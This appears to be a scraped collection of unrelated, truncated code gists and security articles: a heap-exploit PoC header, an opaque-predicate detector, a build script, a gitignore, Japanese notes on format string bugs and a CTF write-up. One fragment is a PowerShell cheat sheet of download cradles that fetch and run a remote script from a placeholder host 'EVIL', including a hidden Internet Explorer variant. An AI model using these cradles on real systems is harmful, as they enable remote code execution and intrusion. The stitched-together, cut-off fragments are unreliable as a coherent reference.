| /* | |
| * Author: @st4g3r | |
| * This is a PoC for House of Einherjar on x64 Linux. | |
| * | |
| * gcc -Wall -o house_of_einherjar house_of_einherjar.c | |
| * | |
| */ | |
| #include <stdio.h> | |
| #include <stdlib.h> |
| """ | |
| Detects opaque predicates in single basic blocks, see: http://zubcic.re/blog/experimenting-with-z3-proving-opaque-predicates and https://github.com/JonathanSalwan/Triton/blob/master/src/examples/python/proving_opaque_predicates.py | |
| Sample output: | |
| (angr)sam@angr-dev:~/code/opaque_predicates$ python test.py | |
| WARNING | 2016-08-20 21:13:33,412 | angr.path_group | No completion state defined for path group; stepping until all paths deadend | |
| 0x0: xor eax, eax | |
| 0x2: jo 9 |
| #!/bin/bash | |
| DIR="$(basename "$(pwd)")"/ | |
| HOST="$1" | |
| OPT="$(cut -d " " -f2- <<<""$@" ")" | |
| DIST=/tmp/"$DIR"/ | |
| cd .. | |
| rsync -rtuvz --delete "$DIR" "$HOST":"$DIST" | |
| ssh "$HOST" "cd $DIST; make $OPT" |
| # Created by https://www.gitignore.io/api/ruby,vim | |
| ### Ruby ### | |
| *.gem | |
| *.rbc | |
| /.config | |
| /coverage/ | |
| /InstalledFiles | |
| /pkg/ |
| # normal download cradle | |
| IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
| # PowerShell 3.0+ | |
| IEX (iwr 'http://EVIL/evil.ps1') | |
| # hidden IE com object | |
| $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
| # Msxml2.XMLHTTP COM object |
Format String Bugs(以降, FSBとする)とは, sprintf()やfprintf()などのprintf関数群やsyslog()などのFormat Strings(以降, 書式指定子とする)を扱える関数において, ユーザが自由に書式指定子を配置できるバグである. これを利用した攻撃手法をFormat String Attacksと呼び, この攻撃によりターゲットとなるプロセスがアクセス可能な任意のメモリの読み書きが行えるようになる. また, それを利用しプログラムの制御を乗っ取ることも可能である.
実際のプログラムに多く存在するとは到底言えないような脆弱性ではあるが稀に見つかることはある. CVE-2012-0809[1]ではsudoのデバッグ機能にFSBが見つかり, 実際にlocal exploitが公開されたりもした. 前述の通り珍しいものではあるが, 任意のメモリの書き換えができるなど非常に強力なものであることからCTFではよく題材にされる.
この記事ではFSBの検証に以下の環境を使用した.
sh-4.3$ uname -a
Linux Arch_Laptop 4.0.4-1-ARCH #1 SMP PREEMPT Mon May 18 06:43:19 CEST 2015 x86_64 GNU/Linux| #!/usr/bin/env python2 | |
| import binascii | |
| import re | |
| import socket | |
| import struct | |
| import subprocess | |
| import sys | |
| import telnetlib | |
| import time |
| n, m = map(int, raw_input().split()) | |
| print max(n, m) |
チーム nyoronyoro として参加した。最終的に獲得できたポイントは 650 点でチーム順位は 14 位だった。
Our Future (Network 100), Real World TeX (Misc 100), The Deal (Crypto 200), miocat(Web 250) の 4 問を解いた。
普通に future.tkbctf.info にアクセスすると Nope, this is not what you're looking for. Try another way! と表示される。
another way って何だろうと思いながら nslookup future.tkbctf.info すると、IPv6 のアドレスが出てきた。
IPv6 でアクセスしろということなのかと考えて、IPv6 Proxy を通して future.tkbctf.info を閲覧。